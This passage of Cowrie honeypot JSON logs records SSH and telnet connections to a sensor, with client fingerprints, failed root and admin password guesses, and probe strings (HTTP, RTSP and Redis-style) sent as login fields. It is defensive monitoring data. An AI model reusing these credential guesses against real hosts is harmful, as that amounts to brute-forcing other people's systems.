56-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:22.512902Z","src_ip":"103.77.175.15","session":"46cd2c42d264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112358","message":"login attempt [root/112358] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:23.326545Z","src_ip":"103.77.175.15","session":"46cd2c42d264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:24.579549Z","src_ip":"103.77.175.15","session":"46cd2c42d264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56472,"dst_ip":"159.203.135.109","dst_port":22,"session":"89bdcd06766b","protocol":"ssh","message":"New connection: 89.223.69.22:56472 (159.203.135.109:22) [session: 89bdcd06766b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:42.199258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:42.203990Z","src_ip":"89.223.69.22","session":"89bdcd06766b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:42.320648Z","src_ip":"89.223.69.22","session":"89bdcd06766b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14789632","message":"login attempt [root/14789632] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:42.669102Z","src_ip":"89.223.69.22","session":"89bdcd06766b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:43.791905Z","src_ip":"89.223.69.22","session":"89bdcd06766b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":58688,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0ea771dd370","protocol":"ssh","message":"New connection: 103.75.182.198:58688 (10.17.0.5:22) [session: f0ea771dd370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:54.036567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:54.041528Z","src_ip":"103.75.182.198","session":"f0ea771dd370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:54.279399Z","src_ip":"103.75.182.198","session":"f0ea771dd370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"050383","message":"login attempt [root/050383] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:54.992661Z","src_ip":"103.75.182.198","session":"f0ea771dd370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:48:56.233397Z","src_ip":"103.75.182.198","session":"f0ea771dd370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":38026,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9e11ea9a6a9","protocol":"telnet","message":"New connection: 34.79.120.63:38026 (159.203.135.109:23) [session: c9e11ea9a6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:11.443476Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":38036,"dst_ip":"159.203.135.109","dst_port":23,"session":"49a5bf2c0a02","protocol":"telnet","message":"New connection: 34.79.120.63:38036 (159.203.135.109:23) [session: 49a5bf2c0a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:11.600044Z"}
{"eventid":"cowrie.session.closed","duration":0.006433963775634766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:11.606213Z","src_ip":"34.79.120.63","session":"49a5bf2c0a02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":38042,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc683d132849","protocol":"telnet","message":"New connection: 34.79.120.63:38042 (159.203.135.109:23) [session: fc683d132849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:11.756929Z"}
{"eventid":"cowrie.session.closed","duration":1.1293070316314697,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:12.572701Z","src_ip":"34.79.120.63","session":"c9e11ea9a6a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":44136,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a737a7890f9","protocol":"ssh","message":"New connection: 2.57.121.112:44136 (10.17.0.5:22) [session: 8a737a7890f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:30.364422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:30.370553Z","src_ip":"2.57.121.112","session":"8a737a7890f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:30.472729Z","src_ip":"2.57.121.112","session":"8a737a7890f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12176,"dst_ip":"159.203.135.109","dst_port":23,"session":"71c23030f42b","protocol":"telnet","message":"New connection: 34.79.120.63:12176 (159.203.135.109:23) [session: 71c23030f42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:30.916427Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:30.921606Z","src_ip":"34.79.120.63","session":"71c23030f42b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:30.924498Z","src_ip":"34.79.120.63","session":"71c23030f42b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"301194","message":"login attempt [admin/301194] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:30.951016Z","src_ip":"2.57.121.112","session":"8a737a7890f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.08867216110229492,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:31.004999Z","src_ip":"34.79.120.63","session":"71c23030f42b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12178,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b3bc2c2eb19","protocol":"telnet","message":"New connection: 34.79.120.63:12178 (159.203.135.109:23) [session: 3b3bc2c2eb19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:31.081739Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12188,"dst_ip":"159.203.135.109","dst_port":23,"session":"821b71f95e50","protocol":"telnet","message":"New connection: 34.79.120.63:12188 (159.203.135.109:23) [session: 821b71f95e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:31.238601Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12192,"dst_ip":"159.203.135.109","dst_port":23,"session":"d34994d14b17","protocol":"telnet","message":"New connection: 34.79.120.63:12192 (159.203.135.109:23) [session: d34994d14b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:31.393532Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12198,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6a5736e4282","protocol":"telnet","message":"New connection: 34.79.120.63:12198 (159.203.135.109:23) [session: e6a5736e4282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:31.547961Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12202,"dst_ip":"159.203.135.109","dst_port":23,"session":"950c5b322029","protocol":"telnet","message":"New connection: 34.79.120.63:12202 (159.203.135.109:23) [session: 950c5b322029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:31.703485Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12204,"dst_ip":"159.203.135.109","dst_port":23,"session":"617be53d4c85","protocol":"telnet","message":"New connection: 34.79.120.63:12204 (159.203.135.109:23) [session: 617be53d4c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:31.858840Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12210,"dst_ip":"159.203.135.109","dst_port":23,"session":"e51b85a25fd7","protocol":"telnet","message":"New connection: 34.79.120.63:12210 (159.203.135.109:23) [session: e51b85a25fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:32.014251Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"301189","message":"login attempt [admin/301189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:32.057500Z","src_ip":"2.57.121.112","session":"8a737a7890f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12222,"dst_ip":"159.203.135.109","dst_port":23,"session":"437ccbcfce97","protocol":"telnet","message":"New connection: 34.79.120.63:12222 (159.203.135.109:23) [session: 437ccbcfce97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:32.170357Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12234,"dst_ip":"159.203.135.109","dst_port":23,"session":"694e59452ccb","protocol":"telnet","message":"New connection: 34.79.120.63:12234 (159.203.135.109:23) [session: 694e59452ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:32.326724Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12238,"dst_ip":"159.203.135.109","dst_port":23,"session":"93bba533235e","protocol":"telnet","message":"New connection: 34.79.120.63:12238 (159.203.135.109:23) [session: 93bba533235e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:32.560969Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12244,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dec4edb190d","protocol":"telnet","message":"New connection: 34.79.120.63:12244 (159.203.135.109:23) [session: 7dec4edb190d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:32.715210Z"}
{"eventid":"cowrie.session.closed","duration":0.0054743289947509766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:32.720570Z","src_ip":"34.79.120.63","session":"7dec4edb190d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12250,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d92cca5c1b8","protocol":"telnet","message":"New connection: 34.79.120.63:12250 (159.203.135.109:23) [session: 6d92cca5c1b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:32.870908Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12258,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebcd381e6d28","protocol":"telnet","message":"New connection: 34.79.120.63:12258 (159.203.135.109:23) [session: ebcd381e6d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:33.024492Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"301178","message":"login attempt [admin/301178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:33.159800Z","src_ip":"2.57.121.112","session":"8a737a7890f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12274,"dst_ip":"159.203.135.109","dst_port":23,"session":"fccbd49b9b6b","protocol":"telnet","message":"New connection: 34.79.120.63:12274 (159.203.135.109:23) [session: fccbd49b9b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:33.180333Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12280,"dst_ip":"159.203.135.109","dst_port":23,"session":"b49d1394c633","protocol":"telnet","message":"New connection: 34.79.120.63:12280 (159.203.135.109:23) [session: b49d1394c633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:33.337153Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12288,"dst_ip":"159.203.135.109","dst_port":23,"session":"45d1a321ca61","protocol":"telnet","message":"New connection: 34.79.120.63:12288 (159.203.135.109:23) [session: 45d1a321ca61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:33.496673Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12290,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc7b303182cf","protocol":"telnet","message":"New connection: 34.79.120.63:12290 (159.203.135.109:23) [session: fc7b303182cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:33.653982Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12296,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2af8ed96468","protocol":"telnet","message":"New connection: 34.79.120.63:12296 (159.203.135.109:23) [session: e2af8ed96468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:33.809026Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12306,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d20422140ed","protocol":"telnet","message":"New connection: 34.79.120.63:12306 (159.203.135.109:23) [session: 6d20422140ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:33.964493Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12322,"dst_ip":"159.203.135.109","dst_port":23,"session":"74f7039c6b2f","protocol":"telnet","message":"New connection: 34.79.120.63:12322 (159.203.135.109:23) [session: 74f7039c6b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:34.119973Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:34.126234Z","src_ip":"34.79.120.63","session":"74f7039c6b2f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300985","message":"login attempt [admin/300985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:34.263069Z","src_ip":"2.57.121.112","session":"8a737a7890f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12332,"dst_ip":"159.203.135.109","dst_port":23,"session":"467ec2446037","protocol":"telnet","message":"New connection: 34.79.120.63:12332 (159.203.135.109:23) [session: 467ec2446037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:34.279647Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12334,"dst_ip":"159.203.135.109","dst_port":23,"session":"632e368d2f60","protocol":"telnet","message":"New connection: 34.79.120.63:12334 (159.203.135.109:23) [session: 632e368d2f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:34.434303Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12348,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb40a7c954a9","protocol":"telnet","message":"New connection: 34.79.120.63:12348 (159.203.135.109:23) [session: bb40a7c954a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:34.588958Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12360,"dst_ip":"159.203.135.109","dst_port":23,"session":"837b65c69db7","protocol":"telnet","message":"New connection: 34.79.120.63:12360 (159.203.135.109:23) [session: 837b65c69db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:34.745042Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12372,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b27b486f323","protocol":"telnet","message":"New connection: 34.79.120.63:12372 (159.203.135.109:23) [session: 9b27b486f323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:34.905106Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12376,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcdd21c03d33","protocol":"telnet","message":"New connection: 34.79.120.63:12376 (159.203.135.109:23) [session: fcdd21c03d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:35.060508Z"}
{"eventid":"cowrie.session.closed","duration":0.006120204925537109,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:35.066478Z","src_ip":"34.79.120.63","session":"fcdd21c03d33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12392,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4d4d3546c94","protocol":"telnet","message":"New connection: 34.79.120.63:12392 (159.203.135.109:23) [session: e4d4d3546c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:35.216282Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300984","message":"login attempt [admin/300984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:35.365763Z","src_ip":"2.57.121.112","session":"8a737a7890f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12398,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a04a7cb1356","protocol":"telnet","message":"New connection: 34.79.120.63:12398 (159.203.135.109:23) [session: 2a04a7cb1356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:35.371224Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 7062","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 7062] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:35.376457Z","src_ip":"34.79.120.63","session":"2a04a7cb1356","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.120.63","src_port":12400,"dst_ip":"159.203.135.109","dst_port":23,"session":"783f433ef473","protocol":"telnet","message":"New connection: 34.79.120.63:12400 (159.203.135.109:23) [session: 783f433ef473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:35.528952Z"}
{"eventid":"cowrie.session.closed","duration":0.004853010177612305,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:35.533689Z","src_ip":"34.79.120.63","session":"783f433ef473","protocol":"telnet"}
